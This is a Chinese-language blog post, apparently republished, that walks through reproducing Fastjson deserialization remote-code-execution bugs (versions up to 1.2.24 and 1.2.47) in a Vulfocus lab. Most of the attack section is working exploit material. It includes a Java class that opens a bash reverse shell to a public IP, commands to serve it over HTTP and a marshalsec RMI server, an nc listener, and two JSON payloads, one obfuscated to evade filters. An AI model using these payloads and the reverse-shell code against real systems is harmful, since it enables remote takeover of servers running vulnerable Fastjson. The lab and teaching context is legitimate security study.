0


Fastjson反序列化漏洞复现小结

目录

Fastjson反序列化

简单来说:Fastjson是解析JSON格式的字符串的,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名,进而执行类里的恶意代码。

Fastjson漏洞概况

1、Fastjson<1.2.24远程代码执行(CNVD-2017-02833 )
2、Fastjson<=1.2.47远程代码执行漏洞(CNVD-2019-22238)
3、Fstjson < =1.2.60 远程代码执行漏洞(CNVD-2019-32498 )
4、Fastjson =1.2.66 Fastjson JtaTransactionConfig存在命令执行漏洞(CNVD-2020-22719)
5、Fastjson =1.2.68 命令执行漏洞(CNVD-2020-30827 )
6、Fastjson <=1.2.80 远程代码执行漏洞(CNVD-2022-40233)

漏洞复现

判断是否使用Fastjson以及Fastjson版本

一、最简单的方法是以POST方式提交一个“{”,查看报错信息。
以Vulfocus靶场为例
访问地址抓包–》发送到repeater–》右键Change request method–》输入"{"字符 --》Send。
在这里插入图片描述二、假设无任何返回信息,配合dnslog网站进行验证…建议参考大佬文章。

链接1: 第18篇:fastjson反序列化漏洞区分版本号的方法总结
链接2:fastjson1.2.80 漏洞分析复现

三、上工具Fastjsonscan
下载地址https://gitcode.net/mirrors/a1phaboy/FastjsonScan。

Fastjson<1.2.24远程代码执行(CNVD-2017-02833 )

工具:一个VPS 、 java环境(1.8.0)、python3、marshalsec(下载地址:https://github.com/RandomRobbieBF/marshalsec-jar)

以下步骤均在VPS上操作。

1、创建一个Exploit.java文件,内含所需执行命令的语句。

importjava.lang.Runtime;importjava.lang.Process;publicclassExploit{static{try{Runtime rt =Runtime.getRuntime();String[] commands ={"bash","-i",">&","/dev/tcp/公网IP/9999","0>&1"};Process pc = rt.exec(commands);
            pc.waitFor()}catch(Exception e){}}}

2、编译Exploit.java文件

javac Exploit.java 

会生成一个Exploit.class文件,当前目录下
在这里插入图片描述
3、此时在当前目录利用python开启http服务

python3 -m http.server 8000

在这里插入图片描述
验证:访问ip:8000
在这里插入图片描述
4、利用marshalsec启动RMI服务,监听8888,当有外部有rmi请求8888时,使其加载8000端口上的Exploit.class文件

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xx.xx.xx.xx:8000/#Exploit" 8888

在这里插入图片描述
5、nc开启监听

nc -lvnp 9999

此时VPS这三个端口在开放状态:
9999 nc监听
8888 RMI服务监听
8000 http服务

后续操作在自己电脑操作:
Brupsuit抓包–改提交方式POST–Content-Type:改为application/json --添加POC

POC

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://IP:8888/Exploit","autoCommit":true}}

在这里插入图片描述
成功反弹shell

在这里插入图片描述

Fastjson<=1.2.47远程代码执行漏洞(CNVD-2019-22238)

除POC不同,其余步骤均与Fastjson<1.2.24远程代码执行(CNVD-2017-02833 )一致

POC

{"hrg786":{"@\u0074\x79\x70e":"Lcom.s\u0075n.\u0072\u006Fwse\x74\x2E\u004A\u0064\u0062c\u0052owS\u0065t\u0049mpl;","dataSourceName":"rmi://IP:8888/Exploit","autoCommit":true}}

在这里插入图片描述
成功获取flag
在这里插入图片描述
其余漏洞网上并未找到详细利用方式,暂时先搁置。

标签: 安全

本文转载自: https://blog.csdn.net/GhostdomY/article/details/127527072
版权归原作者 Ghostdom丶Y 所有, 如有侵权,请联系我们删除。

“Fastjson反序列化漏洞复现小结”的评论:

还没有评论